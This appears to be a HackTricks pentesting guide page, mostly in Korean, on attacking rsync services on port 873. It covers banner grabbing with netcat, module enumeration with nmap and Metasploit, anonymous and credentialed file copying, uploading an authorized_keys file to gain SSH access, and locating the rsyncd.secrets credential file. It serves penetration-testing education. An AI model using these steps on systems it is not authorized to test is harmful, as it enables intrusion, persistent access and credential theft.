873 - Pentesting Rsync

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

기본 정보

From wikipedia:

rsync는 컴퓨터와 외장 하드 드라이브 간 및 네트워크화된 컴퓨터 간에 파일을 효율적으로 전송하고 동기화하기 위한 유틸리티로, 수정 시간과 파일 크기를 비교하여 수행됩니다.[3] 일반적으로 Unix-like 운영 체제에서 발견됩니다. rsync 알고리즘은 델타 인코딩의 일종이며, 네트워크 사용을 최소화하는 데 사용됩니다. Zlib는 추가적인 데이터 압축을 위해 사용될 수 있으며,[3] SSH 또는 stunnel은 보안을 위해 사용될 수 있습니다.

기본 포트: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

열거

배너 및 수동 통신

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

공유 폴더 열거하기

Rsync 모듈비밀번호로 보호될 수 있는 디렉토리 공유로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령어를 사용합니다:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 가능성이 있습니다. 또한, 일부 공유에 접근하는 것은 특정 자격 증명에 제한될 수 있으며, 이는 "Access Denied" 메시지로 표시됩니다.

Brute Force

수동 Rsync 사용

모듈 목록을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 목록을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 복사하는 것은 다음을 통해 수행됩니다:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

이 프로세스는 재귀적으로 파일을 전송하며, 파일의 속성과 권한을 유지합니다.

자격 증명을 사용하면 공유 폴더에서 목록을 작성하고 다운로드할 수 있으며, 이때 비밀번호 입력 프롬프트가 나타납니다:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

콘텐츠를 업로드하려면, 접근을 위한 authorized_keys 파일과 같은 파일을 사용하세요:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd 구성 파일을 찾으려면 다음을 실행하십시오:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

이 파일 내에서, secrets file 매개변수는 rsyncd 인증을 위한 사용자 이름과 비밀번호가 포함된 파일을 가리킬 수 있습니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기